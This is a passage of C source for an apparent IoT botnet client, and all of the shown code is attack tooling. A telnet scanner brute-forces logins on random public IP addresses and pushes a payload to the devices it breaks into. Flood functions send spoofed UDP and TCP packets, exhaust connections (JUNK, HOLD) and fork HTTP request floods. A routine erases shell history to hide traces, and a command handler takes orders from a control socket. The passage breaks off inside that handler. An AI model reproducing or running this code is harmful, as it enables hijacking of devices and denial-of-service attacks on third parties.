  832.     zprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
  833.     return inet_addr(ip);
  834. }
  835.  
  836. in_addr_t getRandomIP(in_addr_t netmask)
  837. {
  838.     in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  839.     return tmp ^ ( rand_cmwc() & ~netmask);
  840. }
  841.  
  842. unsigned short csum (unsigned short *buf, int count)
  843. {
  844.     register uint64_t sum = 0;
  845.     while( count > 1 ) { sum += *buf++; count -= 2; }
  846.     if(count > 0) { sum += *(unsigned char *)buf; }
  847.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  848.     return (uint16_t)(~sum);
  849. }
  850.  
  851. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  852. {
  853.  
  854.     struct tcp_pseudo
  855.     {
  856.         unsigned long src_addr;
  857.         unsigned long dst_addr;
  858.         unsigned char zero;
  859.         unsigned char proto;
  860.         unsigned short length;
  861.     } pseudohead;
  862.     unsigned short total_len = iph->tot_len;
  863.     pseudohead.src_addr=iph->saddr;
  864.     pseudohead.dst_addr=iph->daddr;
  865.     pseudohead.zero=0;
  866.     pseudohead.proto=IPPROTO_TCP;
  867.     pseudohead.length=htons(sizeof(struct tcphdr));
  868.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  869.     unsigned short *tcp = malloc(totaltcp_len);
  870.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  871.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  872.     unsigned short output = csum(tcp,totaltcp_len);
  873.     free(tcp);
  874.     return output;
  875. }
  876.  
  877. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  878. {
  879.     iph->ihl = 5;
  880.     iph->version = 4;
  881.     iph->tos = 0;
  882.     iph->tot_len = sizeof(struct iphdr) + packetSize;
  883.     iph->id = rand_cmwc();
  884.     iph->frag_off = 0;
  885.     iph->ttl = MAXTTL;
  886.     iph->protocol = protocol;
  887.     iph->check = 0;
  888.     iph->saddr = source;
  889.     iph->daddr = dest;
  890. }
  891.  
  892. int sclose(int fd)
  893. {
  894.     if(3 > fd) return 1;
  895.     close(fd);
  896.     return 0;
  897. }
  898.  
  899. //  _____     _            _     __                                   _      _
  900. // /__   \___| |_ __   ___| |_  / _\ ___ __ _ _ __  _ __   ___ _ __  | | ___| |
  901. //   / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
  902. //  / / |  __/ | | | |  __/ |_  _\ \ (_| (_| | | | | | | |  __/ |    | |  __/ |
  903. //  \/   \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_|    |_|\___|_|
  904.  
  905. void StartTheLelz()
  906. {
  907.     int max = (getdtablesize() / 4) * 3, i, res;
  908.     fd_set myset;
  909.     struct timeval tv;
  910.     socklen_t lon;
  911.     int valopt;
  912.  
  913.     max = max > 512 ? 512 : max;
  914.  
  915.     struct sockaddr_in dest_addr;
  916.     dest_addr.sin_family = AF_INET;
  917.     dest_addr.sin_port = htons(23);
  918.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  919.  
  920.     struct telstate_t
  921.     {
  922.         int fd;
  923.         uint32_t ip;
  924.         uint8_t state;
  925.         uint8_t complete;
  926.         uint8_t usernameInd;
  927.         uint8_t passwordInd;
  928.         uint32_t totalTimeout;
  929.         uint16_t bufUsed;
  930.         char *sockbuf;
  931.     } fds[max];
  932.     memset(fds, 0, max * (sizeof(int) + 1));
  933.     for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  934.  
  935.     while(1)
  936.     {
  937.         for(i = 0; i < max; i++)
  938.         {
  939.             switch(fds[i].state)
  940.             {
  941.                 case 0:
  942.                 {
  943.                     memset(fds[i].sockbuf, 0, 1024);
  944.  
  945.                     if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  946.                     else {
  947.                         fds[i].passwordInd++;
  948.                         if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  949.                         if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  950.                     }
  951.                     dest_addr.sin_family = AF_INET;
  952.                     dest_addr.sin_port = htons(23);
  953.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  954.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  955.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  956.                     if(fds[i].fd == -1) { continue; }
  957.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  958.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
  959.                     else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  960.                 }
  961.                     break;
  962.  
  963.                 case 1:
  964.                 {
  965.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  966.  
  967.                     FD_ZERO(&myset);
  968.                     FD_SET(fds[i].fd, &myset);
  969.                     tv.tv_sec = 0;
  970.                     tv.tv_usec = 10000;
  971.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  972.                     if(res == 1)
  973.                     {
  974.                         lon = sizeof(int);
  975.                         valopt = 0;
  976.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  977.                         if(valopt)
  978.                         {
  979.                             sclose(fds[i].fd);
  980.                             fds[i].state = 0;
  981.                             fds[i].complete = 1;
  982.                         } else {
  983.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  984.                             fds[i].totalTimeout = 0;
  985.                             fds[i].bufUsed = 0;
  986.                             memset(fds[i].sockbuf, 0, 1024);
  987.                             fds[i].state = 2;
  988.                             continue;
  989.                         }
  990.                     } else if(res == -1)
  991.                     {
  992.                         sclose(fds[i].fd);
  993.                         fds[i].state = 0;
  994.                         fds[i].complete = 1;
  995.                     }
  996.  
  997.                     if(fds[i].totalTimeout + 10 < time(NULL))
  998.                     {
  999.                         sclose(fds[i].fd);
  1000.                         fds[i].state = 0;
  1001.                         fds[i].complete = 1;
  1002.                     }
  1003.                 }
  1004.                     break;
  1005.  
  1006.                 case 2:
  1007.                 {
  1008.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1009.                     if(matchPrompt(fds[i].sockbuf)) {
  1010.                         fds[i].state = 8;
  1011.                     }
  1012.                     if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1013.                     {
  1014.                         fds[i].totalTimeout = 0;
  1015.                         fds[i].bufUsed = 0;
  1016.                         memset(fds[i].sockbuf, 0, 1024);
  1017.                         fds[i].state = 3;
  1018.                         continue;
  1019.                     } else {
  1020.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  1021.                     }
  1022.  
  1023.                     if(fds[i].totalTimeout + 30 < time(NULL))
  1024.                     {
  1025.                         sclose(fds[i].fd);
  1026.                         fds[i].state = 0;
  1027.                         fds[i].complete = 1;
  1028.                     }
  1029.                 }
  1030.                     break;
  1031.  
  1032.                 case 3:
  1033.                 {
  1034.                     if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1035.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1036.                     fds[i].state = 4;
  1037.                 }
  1038.                     break;
  1039.  
  1040.                 case 4:
  1041.                 {
  1042.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1043.  
  1044.                     if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1045.                     {
  1046.                         fds[i].totalTimeout = 0;
  1047.                         fds[i].bufUsed = 0;
  1048.                         if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  1049.                         else fds[i].state = 7;
  1050.                         memset(fds[i].sockbuf, 0, 1024);
  1051.                         continue;
  1052.                     } else {
  1053.                         if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1054.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  1055.                     }
  1056.  
  1057.                     if(fds[i].totalTimeout + 30 < time(NULL))
  1058.                     {
  1059.                         sclose(fds[i].fd);
  1060.                         fds[i].state = 0;
  1061.                         fds[i].complete = 1;
  1062.                     }
  1063.                 }
  1064.                     break;
  1065.  
  1066.                 case 5:
  1067.                 {
  1068.                     if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1069.                     if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1070.                     fds[i].state = 6;
  1071.                 }
  1072.                     break;
  1073.  
  1074.                 case 6:
  1075.                 {
  1076.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1077.  
  1078.                     if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1079.                     {
  1080.                         fds[i].totalTimeout = 0;
  1081.                         fds[i].bufUsed = 0;
  1082.                         if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  1083.                         if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1084.                         else fds[i].state = 7;
  1085.                         memset(fds[i].sockbuf, 0, 1024);
  1086.                         continue;
  1087.                     } else {
  1088.                         fds[i].bufUsed = strlen(fds[i].sockbuf);
  1089.                     }
  1090.  
  1091.                     if(fds[i].totalTimeout + 30 < time(NULL))
  1092.                     {
  1093.                         sclose(fds[i].fd);
  1094.                         fds[i].state = 0;
  1095.                         fds[i].complete = 1;
  1096.                     }
  1097.                 }
  1098.                     break;
  1099.  
  1100.                 case 7: {
  1101.                     if(send(fds[i].fd, prompt, strlen(prompt), MSG_NOSIGNAL) < 0) {
  1102.                         fds[i].state = 0;
  1103.                         fds[i].complete = 1;
  1104.                         continue;
  1105.                     }
  1106.                     if(send(fds[i].fd, updatenamesrvs, strlen(updatenamesrvs), MSG_NOSIGNAL) < 0) {
  1107.                         fds[i].state = 0;
  1108.                         fds[i].complete = 1;
  1109.                         continue;
  1110.                     }
  1111.                     if(send(fds[i].fd, prepayload, strlen(prepayload), MSG_NOSIGNAL) < 0) {
  1112.                         fds[i].state = 0;
  1113.                         fds[i].complete = 1;
  1114.                         continue;
  1115.                     }
  1116.                     fds[i].state = 8;
  1117.                 }
  1118.                     break;
  1119.  
  1120.                 case 8: {
  1121.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1122.                     if(send(fds[i].fd, payload, strlen(payload), MSG_NOSIGNAL) < 0) {
  1123.                         sclose(fds[i].fd);
  1124.                         fds[i].state = 0;
  1125.                         fds[i].complete = 1;
  1126.                         memset(fds[i].sockbuf, 0, 1024);
  1127.                         continue;
  1128.                          }
  1129.                     if(fds[i].totalTimeout + 45 < time(NULL))
  1130.                     {
  1131.                         sclose(fds[i].fd);
  1132.                         fds[i].state = 0;
  1133.                         fds[i].complete = 1;
  1134.                     }
  1135.                 }
  1136.                     break;
  1137.             }
  1138.         }
  1139.     }
  1140. }
  1141.  
  1142. //          ___  ___     ___ _                 _
  1143. //  /\ /\  /   \/ _ \   / __\ | ___   ___   __| |
  1144. // / / \ \/ /\ / /_)/  / _\ | |/ _ \ / _ \ / _` |
  1145. // \ \_/ / /_// ___/  / /   | | (_) | (_) | (_| |
  1146. //  \___/___,'\/      \/    |_|\___/ \___/ \__,_|
  1147.  
  1148. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1149. {
  1150.     struct sockaddr_in dest_addr;
  1151.  
  1152.     dest_addr.sin_family = AF_INET;
  1153.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  1154.     else dest_addr.sin_port = htons(port);
  1155.     if(getHost(target, &dest_addr.sin_addr)) return;
  1156.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1157.  
  1158.     register unsigned int pollRegister;
  1159.     pollRegister = pollinterval;
  1160.  
  1161.     if(spoofit == 32)
  1162.     {
  1163.         int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1164.         if(!sockfd)
  1165.         {
  1166.             return;
  1167.         }
  1168.  
  1169.         unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1170.         if(buf == NULL) return;
  1171.         memset(buf, 0, packetsize + 1);
  1172.         makeRandomStr(buf, packetsize);
  1173.  
  1174.         int end = time(NULL) + timeEnd;
  1175.         register unsigned int i = 0;
  1176.         while(1)
  1177.         {
  1178.             sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1179.  
  1180.             if(i == pollRegister)
  1181.             {
  1182.                 if(port == 0) dest_addr.sin_port = rand_cmwc();
  1183.                 if(time(NULL) > end) break;
  1184.                 i = 0;
  1185.                 continue;
  1186.             }
  1187.             i++;
  1188.         }
  1189.     } else {
  1190.         int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1191.         if(!sockfd)
  1192.         {
  1193.             return;
  1194.         }
  1195.  
  1196.         int tmp = 1;
  1197.         if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1198.         {
  1199.             return;
  1200.         }
  1201.  
  1202.         int counter = 50;
  1203.         while(counter--)
  1204.         {
  1205.             srand(time(NULL) ^ rand_cmwc());
  1206.             init_rand(rand());
  1207.         }
  1208.  
  1209.         in_addr_t netmask;
  1210.  
  1211.         if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1212.         else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1213.  
  1214.         unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1215.         struct iphdr *iph = (struct iphdr *)packet;
  1216.         struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1217.  
  1218.         makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1219.  
  1220.         udph->len = htons(sizeof(struct udphdr) + packetsize);
  1221.         udph->source = rand_cmwc();
  1222.         udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1223.         udph->check = 0;
  1224.  
  1225.         makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1226.  
  1227.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1228.  
  1229.         int end = time(NULL) + timeEnd;
  1230.         register unsigned int i = 0;
  1231.         while(1)
  1232.         {
  1233.             sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1234.  
  1235.             udph->source = rand_cmwc();
  1236.             udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1237.             iph->id = rand_cmwc();
  1238.             iph->saddr = htonl( getRandomIP(netmask) );
  1239.             iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1240.  
  1241.             if(i == pollRegister)
  1242.             {
  1243.                 if(time(NULL) > end) break;
  1244.                 i = 0;
  1245.                 continue;
  1246.             }
  1247.             i++;
  1248.         }
  1249.     }
  1250. }
  1251.  
  1252. //  _____  ___   ___     ___ _                 _
  1253. // /__   \/ __\ / _ \   / __\ | ___   ___   __| |
  1254. //   / /\/ /   / /_)/  / _\ | |/ _ \ / _ \ / _` |
  1255. //  / / / /___/ ___/  / /   | | (_) | (_) | (_| |
  1256. //  \/  \____/\/      \/    |_|\___/ \___/ \__,_|
  1257.  
  1258. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1259. {
  1260.     register unsigned int pollRegister;
  1261.     pollRegister = pollinterval;
  1262.  
  1263.     struct sockaddr_in dest_addr;
  1264.  
  1265.     dest_addr.sin_family = AF_INET;
  1266.     if(port == 0) dest_addr.sin_port = rand_cmwc();
  1267.     else dest_addr.sin_port = htons(port);
  1268.     if(getHost(target, &dest_addr.sin_addr)) return;
  1269.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1270.  
  1271.     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1272.     if(!sockfd)
  1273.     {
  1274.         return;
  1275.     }
  1276.  
  1277.     int tmp = 1;
  1278.     if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1279.     {
  1280.         return;
  1281.     }
  1282.  
  1283.     in_addr_t netmask;
  1284.  
  1285.     if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1286.     else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1287.  
  1288.     unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1289.     struct iphdr *iph = (struct iphdr *)packet;
  1290.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1291.  
  1292.     makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1293.  
  1294.     tcph->source = rand_cmwc();
  1295.     tcph->seq = rand_cmwc();
  1296.     tcph->ack_seq = 0;
  1297.     tcph->doff = 5;
  1298.  
  1299.     if(!strcmp(flags, "all"))
  1300.     {
  1301.         tcph->syn = 1;
  1302.         tcph->rst = 1;
  1303.         tcph->fin = 1;
  1304.         tcph->ack = 1;
  1305.         tcph->psh = 1;
  1306.     } else {
  1307.         unsigned char *pch = strtok(flags, ",");
  1308.         while(pch)
  1309.         {
  1310.             if(!strcmp(pch,         "syn"))
  1311.             {
  1312.                 tcph->syn = 1;
  1313.             } else if(!strcmp(pch,  "rst"))
  1314.             {
  1315.                 tcph->rst = 1;
  1316.             } else if(!strcmp(pch,  "fin"))
  1317.             {
  1318.                 tcph->fin = 1;
  1319.             } else if(!strcmp(pch,  "ack"))
  1320.             {
  1321.                 tcph->ack = 1;
  1322.             } else if(!strcmp(pch,  "psh"))
  1323.             {
  1324.                 tcph->psh = 1;
  1325.             } else {
  1326.                 sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1327.             }
  1328.             pch = strtok(NULL, ",");
  1329.         }
  1330.     }
  1331.  
  1332.     tcph->window = rand_cmwc();
  1333.     tcph->check = 0;
  1334.     tcph->urg_ptr = 0;
  1335.     tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1336.     tcph->check = tcpcsum(iph, tcph);
  1337.  
  1338.     iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1339.  
  1340.     int end = time(NULL) + timeEnd;
  1341.     register unsigned int i = 0;
  1342.     while(1)
  1343.     {
  1344.         sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1345.  
  1346.         iph->saddr = htonl( getRandomIP(netmask) );
  1347.         iph->id = rand_cmwc();
  1348.         tcph->seq = rand_cmwc();
  1349.         tcph->source = rand_cmwc();
  1350.         tcph->check = 0;
  1351.         tcph->check = tcpcsum(iph, tcph);
  1352.         iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1353.  
  1354.         if(i == pollRegister)
  1355.         {
  1356.             if(time(NULL) > end) break;
  1357.             i = 0;
  1358.             continue;
  1359.         }
  1360.         i++;
  1361.     }
  1362. }
  1363.  
  1364.  
  1365. //   __             __          ___ _                 _
  1366. //   \ \  /\ /\  /\ \ \/\ /\   / __\ | ___   ___   __| |
  1367. //    \ \/ / \ \/  \/ / //_/  / _\ | |/ _ \ / _ \ / _` |
  1368. // /\_/ /\ \_/ / /\  / __ \  / /   | | (_) | (_) | (_| |
  1369. // \___/  \___/\_\ \/\/  \/  \/    |_|\___/ \___/ \__,_|
  1370.  
  1371. void sendJUNK(unsigned char *ip, int port, int end_time)
  1372. {
  1373.  
  1374.     int max = getdtablesize() / 2, i;
  1375.  
  1376.     struct sockaddr_in dest_addr;
  1377.     dest_addr.sin_family = AF_INET;
  1378.     dest_addr.sin_port = htons(port);
  1379.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1380.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1381.  
  1382.     struct state_t
  1383.     {
  1384.         int fd;
  1385.         uint8_t state;
  1386.     } fds[max];
  1387.     memset(fds, 0, max * (sizeof(int) + 1));
  1388.  
  1389.     fd_set myset;
  1390.     struct timeval tv;
  1391.     socklen_t lon;
  1392.     int valopt, res;
  1393.  
  1394.     unsigned char *watwat = malloc(1024);
  1395.     memset(watwat, 0, 1024);
  1396.  
  1397.     int end = time(NULL) + end_time;
  1398.     while(end > time(NULL))
  1399.     {
  1400.         for(i = 0; i < max; i++)
  1401.         {
  1402.             switch(fds[i].state)
  1403.             {
  1404.                 case 0:
  1405.                 {
  1406.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1407.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1408.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1409.                     else fds[i].state = 1;
  1410.                 }
  1411.                     break;
  1412.  
  1413.                 case 1:
  1414.                 {
  1415.                     FD_ZERO(&myset);
  1416.                     FD_SET(fds[i].fd, &myset);
  1417.                     tv.tv_sec = 0;
  1418.                     tv.tv_usec = 10000;
  1419.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1420.                     if(res == 1)
  1421.                     {
  1422.                         lon = sizeof(int);
  1423.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1424.                         if(valopt)
  1425.                         {
  1426.                             close(fds[i].fd);
  1427.                             fds[i].state = 0;
  1428.                         } else {
  1429.                             fds[i].state = 2;
  1430.                         }
  1431.                     } else if(res == -1)
  1432.                     {
  1433.                         close(fds[i].fd);
  1434.                         fds[i].state = 0;
  1435.                     }
  1436.                 }
  1437.                     break;
  1438.  
  1439.                 case 2:
  1440.                 {
  1441.                     //nonblocking sweg
  1442.                     makeRandomStr(watwat, 1024);
  1443.                     if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1444.                     {
  1445.                         close(fds[i].fd);
  1446.                         fds[i].state = 0;
  1447.                     }
  1448.                 }
  1449.                     break;
  1450.             }
  1451.         }
  1452.     }
  1453. }
  1454.  
  1455. //              _     _     ___ _                 _
  1456. //   /\  /\___ | | __| |   / __\ | ___   ___   __| |
  1457. //  / /_/ / _ \| |/ _` |  / _\ | |/ _ \ / _ \ / _` |
  1458. // / __  / (_) | | (_| | / /   | | (_) | (_) | (_| |
  1459. // \/ /_/ \___/|_|\__,_| \/    |_|\___/ \___/ \__,_|
  1460.  
  1461. void sendHOLD(unsigned char *ip, int port, int end_time)
  1462. {
  1463.  
  1464.     int max = getdtablesize() / 2, i;
  1465.  
  1466.     struct sockaddr_in dest_addr;
  1467.     dest_addr.sin_family = AF_INET;
  1468.     dest_addr.sin_port = htons(port);
  1469.     if(getHost(ip, &dest_addr.sin_addr)) return;
  1470.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1471.  
  1472.     struct state_t
  1473.     {
  1474.         int fd;
  1475.         uint8_t state;
  1476.     } fds[max];
  1477.     memset(fds, 0, max * (sizeof(int) + 1));
  1478.  
  1479.     fd_set myset;
  1480.     struct timeval tv;
  1481.     socklen_t lon;
  1482.     int valopt, res;
  1483.  
  1484.     unsigned char *watwat = malloc(1024);
  1485.     memset(watwat, 0, 1024);
  1486.  
  1487.     int end = time(NULL) + end_time;
  1488.     while(end > time(NULL))
  1489.     {
  1490.         for(i = 0; i < max; i++)
  1491.         {
  1492.             switch(fds[i].state)
  1493.             {
  1494.                 case 0:
  1495.                 {
  1496.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1497.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1498.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1499.                     else fds[i].state = 1;
  1500.                 }
  1501.                     break;
  1502.  
  1503.                 case 1:
  1504.                 {
  1505.                     FD_ZERO(&myset);
  1506.                     FD_SET(fds[i].fd, &myset);
  1507.                     tv.tv_sec = 0;
  1508.                     tv.tv_usec = 10000;
  1509.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1510.                     if(res == 1)
  1511.                     {
  1512.                         lon = sizeof(int);
  1513.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1514.                         if(valopt)
  1515.                         {
  1516.                             close(fds[i].fd);
  1517.                             fds[i].state = 0;
  1518.                         } else {
  1519.                             fds[i].state = 2;
  1520.                         }
  1521.                     } else if(res == -1)
  1522.                     {
  1523.                         close(fds[i].fd);
  1524.                         fds[i].state = 0;
  1525.                     }
  1526.                 }
  1527.                     break;
  1528.  
  1529.                 case 2:
  1530.                 {
  1531.                     FD_ZERO(&myset);
  1532.                     FD_SET(fds[i].fd, &myset);
  1533.                     tv.tv_sec = 0;
  1534.                     tv.tv_usec = 10000;
  1535.                     res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1536.                     if(res != 0)
  1537.                     {
  1538.                         close(fds[i].fd);
  1539.                         fds[i].state = 0;
  1540.                     }
  1541.                 }
  1542.                     break;
  1543.             }
  1544.         }
  1545.     }
  1546. }
  1547.  
  1548. // Twerks by supreme
  1549.  
  1550. int socket_connect(char *host, in_port_t port) {
  1551.     struct hostent *hp;
  1552.     struct sockaddr_in addr;
  1553.     int on = 1, sock;    
  1554.     if ((hp = gethostbyname(host)) == NULL) return 0;
  1555.     bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1556.     addr.sin_port = htons(port);
  1557.     addr.sin_family = AF_INET;
  1558.     sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1559.     setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1560.     if (sock == -1) return 0;
  1561.     if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
  1562.     return sock;
  1563. }
  1564.  
  1565. void SendHTTP(char *method, char *host, in_port_t port, char *path, int timeEnd, int power) {
  1566.     int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
  1567.     char request[512], buffer[1];
  1568.     for (i = 0; i < power; i++) {
  1569.         sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, useragents[(rand() % 36)]);
  1570.         if (fork()) {
  1571.             while (end > time(NULL)) {
  1572.                 socket = socket_connect(host, port);
  1573.                 if (socket != 0) {
  1574.                     write(socket, request, strlen(request));
  1575.                     read(socket, buffer, 1);
  1576.                     close(socket);
  1577.                 }
  1578.             }
  1579.             exit(0);
  1580.         }
  1581.     }
  1582. }
  1583.  
  1584. void ClearHistory()
  1585. {
  1586.     system("history -c;history -w");
  1587.     system("cd /;rm -rf .bash_history");
  1588. }
  1589.  
  1590.  
  1591.  
  1592. //   _____  __    ___                _
  1593. //   \_   \/__\  / __\   /\/\   __ _(_)_ __
  1594. //    / /\/ \// / /     /    \ / _` | | '_ \
  1595. // /\/ /_/ _  \/ /___  / /\/\ \ (_| | | | | |
  1596. // \____/\/ \_/\____/  \/    \/\__,_|_|_| |_|
  1597.  
  1598. void processCmd(int argc, unsigned char *argv[])
  1599. {
  1600.     if(!strcmp(argv[0], "PING"))
  1601.     {
  1602.         sockprintf(mainCommSock, "PONG!");
  1603.         return;
  1604.     }
  1605.  
  1606.     if(!strcmp(argv[0], "GETLOCALIP"))
  1607.     {
  1608.         sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1609.         return;
  1610.     }
  1611.     if(!strcmp(argv[0], "HOLD"))
  1612.     {
  1613.         if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1614.         {
  1615.             return;
  1616.         }
  1617.  
  1618.         unsigned char *ip = argv[1];
  1619.         int port = atoi(argv[2]);
  1620.         int time = atoi(argv[3]);
  1621.  
  1622.         if(strstr(ip, ",") != NULL)
  1623.         {
  1624.             unsigned char *hi = strtok(ip, ",");
  1625.             while(hi != NULL)
  1626.             {
  1627.                 if(!listFork())
  1628.                 {
  1629.                     sendHOLD(hi, port, time);
